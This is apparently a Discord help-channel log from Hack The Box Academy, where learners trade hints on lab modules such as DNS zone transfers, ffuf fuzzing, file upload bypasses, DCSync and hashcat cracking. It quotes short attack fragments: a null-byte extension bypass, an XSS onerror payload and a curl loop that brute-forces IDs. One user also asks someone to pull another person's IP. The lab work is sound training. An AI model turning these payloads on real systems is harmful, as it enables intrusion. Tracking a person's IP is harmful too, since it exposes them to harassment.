[quiet trout]

is it possible using wireshark to figure out which subnet an ip address belongs to without having a packet that specifically transmits an ifconfig cmd?

[plush cape]

https://www.change.org/1985letsago

[snow mirage]

In tcpdump....I was wondering howcome the first 2 numbers are absolute sequence numbers? is that because the Client and Server are establishing a connection?

[feral stump]

Check this out I think it helps to answer your question

https://www.howtouselinux.com/post/understanding-tcp-sequence-number

[rich mulch]

Hi guys, I am stuck these 2 questions at module "ATTACKING ENTERPRISE NETWORKS". Any hints ?

[feral stump]

For the first one have you tried zone transfer?

[rich mulch]

yes I found a lot of sub-domain. But dont get any info about FQDNN

[feral stump]

Have you queried the ||A subdomain to see if there is a zone or not and try bruteforcing ||

[rich mulch]

you mean Zone Transfer can be inside sub-domain?

[feral stump]

A subdomain can have a zone yes

[pearl island]

Hello all, working on Introduction to Metasploit Framework exercise on Sessions & Jobs. Got root on the machine. However, did the privesc manually, couldn't get the metasploit privesc module to work. Any hints are greatly appreciated.

[rich mulch]

That's new to me. I did try each sub-domain, but got no clue

[feral stump]

You may need to identify if there is a zone or not by using ||dig SOA and check if any output has an ANSWER SECTION. If dig axfr doesn’t work you probably have to bruteforce||

For all the A subdomains

[rich mulch]

for the last question I found the answer. But still dont get how to find out the FQDN

you means I have to bruteforce sub-domain to find out the sub-domain in sub-domain?

[placid quest]

@pearl island what is the problem

[pearl island]

It says exploit was successful, but couldn't create a session. @placid quest

[placid quest]

@pearl island do you have shell

[pearl island]

DM?

[feral stump]

What’s the associated subdomain?

[warped phoenix]

ls

[frozen atlas]

How to resolve the errorjava.io.FileNotFoundException: C:\Users\meera\OneDrive\Desktop\MarsUltor (Access is denied)

[fervent narwhal]

that's important

[proud kiln]

Hello everyone. I am stuck on one question in "Using Web Proxies":
Run ZAP Scanner on the target above to identify directories and potential vulnerabilities. Once you find the high-level vulnerability, try to use it to read the flag at '/flag.txt'

I ran the ZAP Scanner and spider. Nothing is giving me a high level alert. Also, I can see the HUD on the included browser but I can't interact with it. I'm using a Pwnbox. Does anyone have any suggestions on how to scan fix these issues?

[bleak prawn]

Hi, when doing Bucket I got really frustrated as anything I uploaded to the bucket would disappear in a manner of seconds. Is it really necessary to wipe everything and reset every 30seconds? Is this by design? What would the purpose be?

[vital adder]

if that's a box ask in #boxes if you can't access that you will need to verify first

[vital adder]

yeah i did have the same issue try restart the target and run the scan again the first time i do this i exploit the vuln manually i think you should be able to find the vuln with some ||directory brute force||

[vapid grove]

Hi, anyone has done question What domain user is explicitly listed as a member of the local Administrators group on the target host? in Active Directory module? can't figure it out..

[vapid grove]

||found it, use net localgroup administrators||

[real vortex]

Hi, I haven't done python in a while, would anyone help me with this on Introduction to Python3. Q; " In "Code block 2" the blank should be filled with what, to output all numbers in a terminal?"

Code Block 2 is list_2 = [4, 3, 2, 1]
for num in list_2:
__________

[vapid grove]

print(num)

[real vortex]

Lol, thank you!

[vapid grove]

no worries 🙂

[graceful parrot]

Hello, I need help with the type filters section. of course FILE UPLOAD ATTACKS
I find that the valid extension is ||php\x00.gif ||but when I try to rename my shell the \ disappears.
and when adding it in burpsuite the image_profile appears with the name of x00.gif
Even though I manage to load the file, searching for the path shows the following error "Cannot display the image “http://104.248.162.85:31390/profile_images/x00.gif” because it contains errors."

[lament tartan]

the instance timers in academy counting down wayyy quicker than they should for me, is this normal? spawned an instance like 30 mins ago it said 90 mins remaining, was down to 60 within 5-10 mins

just spawned a new one and its gone down 7 mins in about 2

gone down 10 mins now 😐

[vital adder]

i don't think that's normal but i got the same issue

[vital adder]

you got that error because the target system can't run code from a .gif file and hint you need ||double extension|| for this also if you still need help shoot me a dm

[lament tartan]

restarted instance at 5pm (9 min ago) and it's used up 37 mins

driving me crazy because some scanning tools dont show when the instance is terminated

have to sit there pinging the box to make sure scan still working

[mossy quarry]

hi

[west canopy]

feel free to DM me 😉

[iron basin]

Howdy, what is the proper way to enumerate SNMP? I have used nmap and its scripts. I am trying to answer the questions for the footprinting module which is asking to find email address, version, and find a custom script. I am just curious what tools I am suppose to be using. I am curious if snmpwalk is what I need to use

[vital adder]

yep snmpwalk is what you are supposed to use

[iron basin]

Thank you

This SNMP part of the footprinting module is wild to me. In terms of just what it deals with and the ability of it lol.

[rustic sage]

Anyone free to DM about Linux Local Privilege Escalation - Skills Assessment final stage?

[iron basin]

I stumbled upon the usage of netcat for finding verisons of services via a command like this: echo "EXIT" | nc -nv 10.129.x.x (port number)

I can get versions of services like SSH with this. I tried this to find the version of snmp if possible: echo "EXIT" | nc -nuv 10.129.x.x 161

It connected but didn't respond with any version or response. Curious if anyone knows why or has advice.

[onyx rapids]

Can someone give me the command to pull the flag for module/54/section/490 -> Parameter Fuzzing - GET using FFUF
There is an issue with the machines, and the commands are no longer working, so I need to bypass everything

[maiden field]

I still havent found anything

[vital adder]

wdym no longer working? also this question is asking for a parameter not a flag and i just try this machine is working fine for me

[vital adder]

if you are on Q4 hint use ||dnsenum|| but you need to use it ||multiple times||

[onyx rapids]

I'm running this command just to be able to find the vhost and it's just throwing errors in FFUF

ffuf -w /opt/useful/SecLists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -u http://redacted:30350 -H "Host: FUZZ.academy.htb"

I've run the command in previous labs without issues, but for some reason, it won't work anymore. I've tried resetting the machine and all that, but no luck

[vital adder]

you can use the ||subdomain in the example|| and for the url tag in your command try with http://academy.htb:30350/

[onyx rapids]

I think something is up with the machines because the command I shared above now works after a reset, but I keep having to reset. I'll try the fuzz on the directories now

I managed to run the FFUF on the directories and it ran for a while, but halfway through it just started throwing errors again. Something is definitely up with the servers. I contacted support, but I'm not hopeful

Since I'm already here, how can I paste commands into pwnbox browser session? I can copy stuff out, but can't paste inside. I keep having to reset the box, and retype the long ffuf commands, would be cool if I could at least paste them in

[vital adder]

the pwnbox copything is super buggy but you can just open sublime text and paste your command in

[vital adder]

try the example command with your taget

[onyx rapids]

Didn't seem to work under firefox, I'll try Chrome after

[vital adder]

oh yeah i just try and firefox isn't working for me either

then use this to copy

click this and paste what ever you want to put into the pwnbox in here but if you copy something too long it could be buggy when you paste it

[onyx rapids]

Here is an image of what I'm talking about when I say errors

It works for a while and then at some point it throws errors, as if some sort of WAF protection kicks in from their cloud provider

[vital adder]

hint ||you found what you need||

[onyx rapids]

I already have all those answers, but the problem is I can't run any of the commands I need because they throw errors as well. I just decided to start from the beginning to see if I was missing something

I think this person is having the same issue as me : https://forum.hackthebox.com/t/htb-academy-attacking-web-applications-with-ffuf-name-resolution-issues/4042/3

[real vortex]

Hello! Need help on Attacking Common Applications; Question: "Following the steps in this section, obtain code execution on the host and submit the contents of the flag.txt file in the webroot."

[rigid minnow]

^me too

[onyx rapids]

God this is so frustrating 😦 Paying nearly 100$ a month and I'm wasting the day away. I run curl, it works, run it again, same command: connection refused

I can manage to enumerate the correct id for my post request, but then running curl fails. If I switch to a new machine, the ID changes, so I can't use the same one to find the flag. Does anyone have a one liner in curl that will go through all IDs 1-1000. If I skip FFUF and just grep the curl command then I might be able to bypass this issue HTB is having

[vital adder]

sorry for the delay i have some issue with my home network but shoot me a dm i'll help you troubleshoot

[vital adder]

which section?

[lethal atlas]

I dont have any issues with it

[vital adder]

i did have 1 issue with that module but it's at the Skills Assessment but restart the target a few time fix it for me

[lethal atlas]

Im also NOT using pwnbox

[onyx rapids]

I will try without pwnbox

[shell panther]

How to hack someone heart ??

[vital adder]

we need a module / box on this

[onyx rapids]

If anyone ever comes here to search for the same issue, here is how you can bypass ffuf and get the flag in one go to avoid the server error.
||for i in {1..100}; do curl ip:port/admin/admin.php -X POST -H "Host: admin.academy.htb" -H "Content-type: application/x-www-form-urlencoded" -d "id=$i" -s | grep div.*HTB; done||

[ancient oriole]

Hey, I am stuck at ACTIVE DIRECTORY ENUMERATION & ATTACKS - ACL Enumeration, last question.
Q: What is the ObjectAceType of the first right that the forend user has over the GPO Management group? (two words in the format Word-Word)
i tried the Get-DomainObjectAcl, but the command only outputs the first half and then hangs. I really don't know what to do now, could anyone give me a hint?

[west canopy]

have you looked at the relationship in bloodhound?

[lethal atlas]

what question were you working on?

[onyx rapids]

That was for Value Fuzzing under the FFUF lesson

[lethal atlas]

I just dont have any issues with ffuf on that section. I just re-ran my commands and got right thru it.

I would be interested in comparing ffuf commands

[ancient oriole]

I have, but if I submit the ACE from bloodhound as an answer, it is not correct.

[onyx rapids]

Are you using pwnbox?

[lethal atlas]

no

ill test it on there real fast

[sturdy igloo]

Anyone can help with this question? "Perform a DCSync attack and submit the NTLM hash for the khartsfield user as your answer." How to answer this? i performed dcsync and have the ntlm hash but it keeps saying incorrect answer

[west canopy]

make sure you are only using the second portion of the NLTM hash

[onyx rapids]

I'm almost certain it's a pwnbox issue, something to do with DNS

[onyx rapids]

I'm on the skills assessment and not having anymore issues. Been waiting 3 hours for HTB support chat to respond, but I'll probably be done the module when they respond. It seems to be a known issue for a year now, so I doubt they will fix it

[sturdy igloo]

thought i tried every portion of the hash in different ways but guess not. tried last portion again (or i thought i tried before asking) and it worked. thank you.

[lethal atlas]

my problem with pwnbox seems to be saving the hosts file. I cant use ctrl x... This is why I use my own vm

[onyx rapids]

I don't bother with the hosts file, just throw everything into the -H "Host: vhost" header

[lethal atlas]

it has to be pwnbox. I cant even ping the host from pwnbox but everything works great from VM so that just re-enforces my position on using it

[grave lance]

Having trouble with footprinting, imap/pop3 section, on question "enumerate imap service and submit flag"
I've used nmap to list the details of the service, and curl and openssl commands to interact with the service. Any advice appreciated

[rustic sage]

i lost a argument with someone can anyone pull their ip for me?

please

[rustic sage]

anyone

[grave lance]

ugh, nvm I think I got it

[onyx rapids]

Anyone know how I can make this XSS payload into something cleaner? ||0' onerror=alert(1)>|| I use it here : module/103/section/984 (XSS - Phishing)
It works, but it shows '> on the page and it doesn't look clean. Try my payload to see what I mean

[quiet trout]

does anyone know if there's plans to get "Authors suggested solution" on the exercises? some of the exercises i've completed i have felt i had performed in a way that may not have been 100% as the author intended and on some of the more stubborn exercises i've been quite curious what solution the author intended when they were coming up with the exercise.

[quiet trout]

@onyx rapids can you paste your xss payload in the clear, i dont want to click on it -_-

[high totem]

Hey, I'm doing footprinting module, DNS part and have problems with the last task (IP with last octet 203). I haven't found anything matching via zone transfers. I tried manual enumeration as shown in the module, but it takes very long (which I can understand) and returns only three results (which I don't understand - via dig I've found way more) and resolves name server of the target (so ns.givenDomain.htb) to my localhost - 127.0.0.1, which I SUPER don't understand. Can anyone give me a hint on what I'm doing wrong?

[high totem]

Does it matter in the end? I think they repeat quite often to "think outside the box" 😉
Also, from my experience, the "suggested" solution is very similar to what is shown above in the description. Sometimes it's enough to just change the correct part of the command (like IP) and voila

[quiet trout]

well it kinda does, if you're a little bit anal retentive like myself because there are multiple ways to get the answer and sometimes having the authors intended solution gives (people who desire it) a better insight into what the authors intentions were or thought process with the module. its not strictly necessary but is super helpful beyond just knowing what the intended solution is

[rustic sage]

on module, "getting started, service scanning" when i type in "get flag.txt" it tells me there's an error opening the local file. Can somebody help me?

[feral stump]

DM me if you still need help

[high totem]

What error? Maybe there is a hint in it?

[rustic sage]

doesnt specify which error. All it says is "error opening local file". There's no hint on how to not get the error

[high totem]

DM me. I did that module, so I hope I'll be able to help 😉

[rustic sage]

[bleak willow]

I tried a lot of things including Ip, Internet Protocol, MAC, Media Access Control.. and nothing.. Any advice please?

[feral stump]

did you try ||MAC-addressing||

[bleak willow]

I tried it too

[feral stump]

🤔

[bleak willow]

https://tenor.com/view/suicide-gif-14427950

Im in since one hour 😅

[feral stump]

I am looking for alternatives in google though 😅

[bleak willow]

I looked too and i been doing nosense brute forcing

I think that something is wrong with that question

[feral stump]

not sure if this will help but did you check on HTB forum just in case?

[bleak willow]

ill do it

[feral stump]

hope you can find it

[storm dagger]

You can also look through this discord

it's been asked before ^^ and it seems like chronos was nearly correct

[bleak willow]

You are right, its nearby correct, i got it. Ty both @feral stump @storm dagger

https://tenor.com/view/snoop-dogg-rap-hip-hop-west-coast-crips-gif-24898891

[rustic sage]

[hollow hinge]

Dm if you still need help

[brave prawn]

Hey, can anyone help me with File Inclusion Skills Assessment?

[acoustic owl]

Which section/question do you need help with?

[acoustic owl]

Feel free to DM me

[frozen atlas]

How to solve the access is denied error

In json file reader

Is there any certain permissions for the folder to be read

And when folder is specified it shows cannot be cast from object to

?

[tidal compass]

For the love of all that is holy can someone help. lol. Cracking with hashcat module. Cracking common passwords section. Question is: Crack the following hash: 7106812752615cdfe427e01b98cd4083 . Hint says: "Use hashid to identify the hash, and then use one of the Hashcat built-in rule sets or hybrid mode to help you crack it.". I used hashid, compared that to hashcats online notes and determined it's an NTLM hash. I've tried everything and I'm getting nowhere. Can someone give me a hint? Or a walkthrough, or something lol. Thanks in advance

[vital adder]

sure shoot me a dm

[lethal atlas]

what password list are you using?

[vital adder]

i think he didn't use the right rule

[lethal atlas]

i just used the one from the rules section

rando 1k

[vital adder]

oh i use a different one

[lethal atlas]

interesting

[vital adder]

the first time i did this module i didn't note anything so i still have no idea what i use the first time

[lethal atlas]

lol

[tidal compass]

rockyou is what I'm using. The hint says to use it so I'm just using that.

[lethal atlas]

thats correct so it must be the rule as MRtom said

[rustic sage]

hashcat -m <hashid> <filename containing the hash> /usr/share/wordlists/rockyou.txt

is this how ur command looks?

[frozen atlas]

Someone tell my doubt also

[rustic sage]

@tidal compass , the hashid in this case, if u have confirmed that it NTLM, will be 1000

[vital adder]

and your command are missing the rule

[rustic sage]

u firstly need to check who can access the files...

u can do so , by
ls -la

[frozen atlas]

Is a json file reader

In*

In windows

[rustic sage]

ohh..